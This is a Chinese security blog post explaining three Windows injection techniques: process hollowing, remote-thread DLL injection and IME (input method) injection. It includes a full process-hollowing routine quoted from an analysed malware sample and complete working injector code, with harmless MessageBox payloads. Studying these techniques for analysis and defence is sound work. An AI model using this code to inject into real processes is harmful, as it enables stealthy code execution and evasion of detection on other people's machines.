avatar

目录
Windows下多种注入方法

傀儡进程

0x00 前言

在分析样本的时候,遇到了样本通过创建傀儡进程来躲避检测的攻击手段

0x01 简介

傀儡进程是指将目标进程的映射文件替换为指定的映射文件,替换后的进程称之为傀儡进程。

0x02 实现

实现思路

1.通过CreateProcess创建进程,传入参数CREATE_SUSPENDED使进程挂起\

2.通过NtUnmapViewOfSection清空新进程的内存数据\

3.通过VirtualAllocEx申请新的内存\

4.通过WriteProcessMemory向内存写入payload\

5.通过SetThreadContext设置入口点\

6.通过ResumeThread唤醒进程,执行payload

1、傀儡进程的选择

如果傀儡进程已经运行,那么将无法实现替换(指针不可控、无法获得主线程句柄等)
所以这种利用方法只能通过创建新进程,传入参数CREATE_SUSPENDED使进程挂起,在进程执行前对其替换

2、清空进程的内存数据

进程初始化后,内存会加载映像文件,为了清空新进程的内存数据,可以使用函数NtUnmapViewOfSection卸载映像

c
1
2
3
NTSTATUS NtUnmapViewOfSection(  
_In_ HANDLE ProcessHandle, //进程句柄
_In_opt_ PVOID BaseAddress //映像基址 ,base virtual address);

3、申请新内存

使用VirtualAllocEx函数时,可以将傀儡进程的ImageBaseAddress作为申请空间的首地址,这样可以避免考虑“重定位”的问题

4、写入Payload

写入时,需要先比较payload和傀儡进程的ImageBaseAddress之间的偏移,如果存在偏移,需要进行重定位(使用.reloc区段)

5、恢复

替换前后需要保证寄存器正常,所以仅需要修改进程的入口点(即EAX寄存器)
在最开始通过GetThreadContext获得所有寄存器的信息(保存在结构体_CONTEXT中)
然后使用SetThreadContext恢复寄存器信息,再通过ResumeThread唤醒进程,即可执行payload

样本中创建傀儡进程的部分代码

c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
private static bool smethod_0(string string_0, byte[] byte_0, bool bool_0)
{
int num = 0;
string string_ = "\"{path}\"";
VOVO.Struct6 @struct = default(VOVO.Struct6);
VOVO.Struct5 struct2 = default(VOVO.Struct5);
@struct.uint_0 = Convert.ToUInt32(Marshal.SizeOf(typeof(VOVO.Struct6)));
bool result;
try
{
if (!VOVO.CreateProcess(string_0, string_, IntPtr.Zero, IntPtr.Zero, false, 4u, IntPtr.Zero, null, ref @struct, ref struct2))
{
throw new Exception();
}
MethodInfo method = typeof(BitConverter).GetMethod("ToInt32");
object[] parameters = new object[]
{
byte_0,
60
};
int num2 = Convert.ToInt32(method.Invoke(null, parameters));
object[] parameters2 = new object[]
{
byte_0,
num2 + 26 + 26
};
int num3 = Convert.ToInt32(method.Invoke(null, parameters2));
int[] array = new int[179];
array[0] = 65538;
if (IntPtr.Size == 4)
{
if (!VOVO.GetThreadContext(struct2.intptr_1, array))
{
throw new Exception();
}
}
else if (!VOVO.Wow64GetThreadContext(struct2.intptr_1, array))
{
throw new Exception();
}
int num4 = array[41];
int num5 = 0;
if (!VOVO.ReadProcessMemory(struct2.intptr_0, num4 + 4 + 4, ref num5, 4, ref num))
{
throw new Exception();
}
if (num3 == num5 && VOVO.NtUnmapViewOfSection(struct2.intptr_0, num5) != 0)
{
throw new Exception();
}
object[] parameters3 = new object[]
{
byte_0,
num2 + 80
};
int int_ = Convert.ToInt32(method.Invoke(null, parameters3));
object[] parameters4 = new object[]
{
byte_0,
num2 + 42 + 42
};
int int_2 = Convert.ToInt32(method.Invoke(null, parameters4));
bool flag = false;
int num6 = VOVO.VirtualAllocEx(struct2.intptr_0, num3, int_, 12288, 64);
if (num6 == 0)
{
throw new Exception();
}
if (!VOVO.WriteProcessMemory(struct2.intptr_0, num6, byte_0, int_2, ref num))
{
throw new Exception();
}
int num7 = num2 + 248;
short num8 = BitConverter.ToInt16(byte_0, num2 + 3 + 3);
for (int i = 0; i < (int)num8; i++)
{
object[] parameters5 = new object[]
{
byte_0,
num7 + 6 + 6
};
int num9 = Convert.ToInt32(method.Invoke(null, parameters5));
object[] parameters6 = new object[]
{
byte_0,
num7 + 8 + 8
};
int num10 = Convert.ToInt32(method.Invoke(null, parameters6));
object[] parameters7 = new object[]
{
byte_0,
num7 + 20
};
int num11 = Convert.ToInt32(method.Invoke(null, parameters7));
if (num10 != 0)
{
byte[] array2 = new byte[num10];
MethodInfo method2 = typeof(Buffer).GetMethod("Bl#####ckC#####py".Replace("#####", "o"));
object[] parameters8 = new object[]
{
byte_0,
num11,
array2,
0,
array2.Length
};
method2.Invoke(null, parameters8);
if (!VOVO.WriteProcessMemory(struct2.intptr_0, num6 + num9, array2, array2.Length, ref num))
{
throw new Exception();
}
}
num7 += 40;
}
byte[] bytes = BitConverter.GetBytes(num6);
if (!VOVO.WriteProcessMemory(struct2.intptr_0, num4 + 8, bytes, 4, ref num))
{
throw new Exception();
}
object[] parameters9 = new object[]
{
byte_0,
num2 + 40
};
int num12 = Convert.ToInt32(method.Invoke(null, parameters9));
if (flag)
{
num6 = num3;
}
array[44] = num6 + num12;
if (IntPtr.Size == 4)
{
if (!VOVO.SetThreadContext(struct2.intptr_1, array))
{
throw new Exception();
}
}
else if (!VOVO.Wow64SetThreadContext(struct2.intptr_1, array))
{
throw new Exception();
}
if (VOVO.ResumeThread(struct2.intptr_1) == -1)
{
throw new Exception();
}
}
catch
{
Process processById = Process.GetProcessById(Convert.ToInt32(struct2.uint_0));
processById.Kill();
result = false;
return result;
}
result = true;
return result;
}

DLL远线程注入

0x00 简介

在一个进程中,调用CreateThread或CreateRemoteThreadEx函数,在另一个进程内创建一个线程,创建线程来加载一个DLL,从而在另一个进程中运行自己所希望运行的代码。

0x01 实现

实现思路

1.通过进程窗口名获取进程的句柄

2.通过句柄来取得进程PID

3.以相应权限打开进程

4.开辟新内存并将DLL路径写入进程

5.开辟新线程,调用Loadlibrary加载DLL运行代码

代码实现

Main.cpp

c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include  <stdio.h>  
#include <tchar.h>
#include <Windows.h>
#include <process.h>

void main()
{
DWORD pid;
HWND proc = FindWindow(NULL,"HACKAV练习-000"); //从进程窗口名获取进程句柄
if (proc == NULL)
printf ("Find Window fail\n");
GetWindowThreadProcessId (proc,&pid); //从句柄得到进程PID
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, NULL, pid); //打开进程获取权限
if(hProcess == NULL)
printf ("open process wrong!\n");
LPVOID lpAddr = VirtualAllocEx(hProcess,NULL,0x1000,MEM_COMMIT,PAGE_EXECUTE_READWRITE); //申请内存
if(lpAddr == NULL)
printf ("VirtualAlloc fail");

//拼接出dll路径
char szBuf[MAX_PATH]={NULL};
GetCurrentDirectory(sizeof(szBuf),szBuf);
strcat(szBuf,"\\Inject Dll.dll");
printf ("%s\n",szBuf);

//将DLL路径写入进程
bool write = WriteProcessMemory (hProcess,lpAddr,szBuf,strlen (szBuf)+1,NULL);
if(!write)
printf ("write process memory fail\n");

//开辟新线程,调用loadlibrary加载
HANDLE hThreadHandle = CreateRemoteThread (hProcess,NULL,0,(LPTHREAD_START_ROUTINE)LoadLibrary,lpAddr,0,NULL);


system ("pause");
}

Inject DLL.dll

c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include "stdafx.h"  

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, TEXT("Inject success!"), TEXT("Inject"), MB_OK);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

在编译过程中,可能会出现

无法将参数 从“char [260]”转换为“LPWSTR”的问题,修改项目字符集的多字节字符集即可解决

效果

注入前

注入后

查看进程的线程可以发现有我们刚才创建的 Loadlibrary


输入法注入

0x00 简介

输入法一般分为两种,一种为EXE外挂式输入法(万能五笔、中文之星),一种是基于IME的内置输入法(搜狗),外挂式输入法只需启动一次,便可以在所有进程中使用,而IME的输入法需要按下Ctrl+空格激活

IME(Input Method Editor),IME文件实际上是一个DLL文件,位于C:\Windows\System32目录下

搜狗拼音输入法的IME文件名为SogouPY.ime,其中包含了15个导出函数

Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Ordinal RVA        Symbol Name
------- ---------- ----------------------------------
0x0001 0x00082DB0 "ImeProcessKey" ;处理键盘事件,获取输入
0x0002 0x00082A60 "ImeConfigure";设置输入法属性时被输入法管理器调用
0x0003 0x00083030 "ImeConversionList"
0x0004 0x00083050 "ImeDestroy"
0x0005 0x00083030 "ImeEnumRegisterWord"
0x0006 0x00082B20 "ImeEscape"
0x0007 0x0005EEC0 "ImeGetRegisterWordStyle"
0x0008 0x00082990 "ImeInquire"
0x0009 0x00083020 "ImeRegisterWord"
0x000A 0x00082C30 "ImeSelect";打开或关闭输入法时调用
0x000B 0x00082CF0 "ImeSetActiveContext";获得,失去焦点时调用
0x000C 0x00083040 "ImeSetCompositionString"
0x000D 0x00082E80 "ImeToAsciiEx" ;对键盘输入进行转换
0x000E 0x00083020 "ImeUnregisterWord"
0x000F 0x00082F50 "NotifyIME"

0x01 实现

InputSetup 输入法安装

利用IMM.h文件下imminstallIME函数安装空壳输入法

自己写的IME文件,实现加载SougouPY.IME和弹窗

IME文件中,LoadLibrary正常输入法的IME文件,然后填写自己的代码。

InputSetup

c++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include  <iostream>
#include <Windows.h>
#include <imm.h>
#include <tchar.h>
#pragma comment (lib, "imm32.lib") //ImmIsIME()需要的库文件
HKL m_hImeFile32;
void installIME()
{
m_hImeFile32 = ImmInstallIME(_T("InputtingMethodInjectionDLL.ime"), _T("My method")); //安装输入法
if (ImmIsIME(m_hImeFile32))
{
SystemParametersInfo(SPI_SETDEFAULTINPUTLANG, 0, &m_hImeFile32, SPIF_SENDWININICHANGE); //设置为默认输入法
MessageBox(NULL, L"Install complete", L"O", MB_OK);
}
}
int main()
{
installIME();
system("pause");
}

InputIme.ime

在创建的时候选择DLL,资源中的FILETYPE修改为VFT_DRVFILESUBTYPE修改为VFT2_DRV_INPUTMETHOD,否则在安装的时候GetLastError会报错1813

c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{

LoadLibrary(L"SougouPY.ime"); //加载其他输入法的ime文件

switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, L"Hello World", L"Yo", MB_OK); //执行的代码
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

将.dll改为.ime,把InputSetup.exe和InputIme.ime放进system32目录下运行

安装完成后,每次有需要激活输入法的地方,都会弹窗

文章作者: Yenn_
文章链接: https://0xdf1001f.github.io/2019/11/19/Windows%E4%B8%8B%E5%A4%9A%E7%A7%8D%E6%B3%A8%E5%85%A5%E6%96%B9%E6%B3%95/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Wei's Blog

评论